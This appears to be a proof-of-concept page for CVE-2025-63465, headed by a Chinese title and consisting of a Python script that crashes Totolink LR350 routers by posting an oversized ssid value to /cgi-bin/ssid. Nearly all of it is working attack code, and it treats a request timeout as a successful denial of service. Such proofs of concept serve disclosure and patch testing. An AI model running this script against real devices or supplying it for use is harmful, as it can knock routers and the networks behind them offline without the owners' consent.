CVE-2025-63465 Totolink LR350栈溢出漏洞导致拒绝服务

import requests # CVE-2025-63465 PoC - Totolink LR350 Stack Overflow via ssid parameter # Target: Totolink LR350 v9.3.5u.6369_B20220309 # Vulnerability: Stack overflow in sub_422880 function via ssid parameter target_ip = "192.168.1.1" target_port = 80 target_url = f"http://{target_ip}:{target_port}/cgi-bin/ssid" # Generate malicious payload with oversized ssid parameter # The buffer overflow occurs when ssid exceeds expected length payload_size = 1000 # Adjust based on buffer size malicious_ssid = "A" * payload_size def exploit_stack_overflow(): headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } data = { "ssid": malicious_ssid, "submit": "Apply" } try: response = requests.post(target_url, data=data, headers=headers, timeout=5) print(f"[*] Request sent to {target_url}") print(f"[*] Payload size: {payload_size} bytes") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Request completed - target may be vulnerable") else: print("[-] Unexpected response") except requests.exceptions.Timeout: print("[!] Request timeout - target may have crashed (DoS successful)") except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-63465 PoC - Totolink LR350 Stack Overflow") print("=" * 60) exploit_stack_overflow()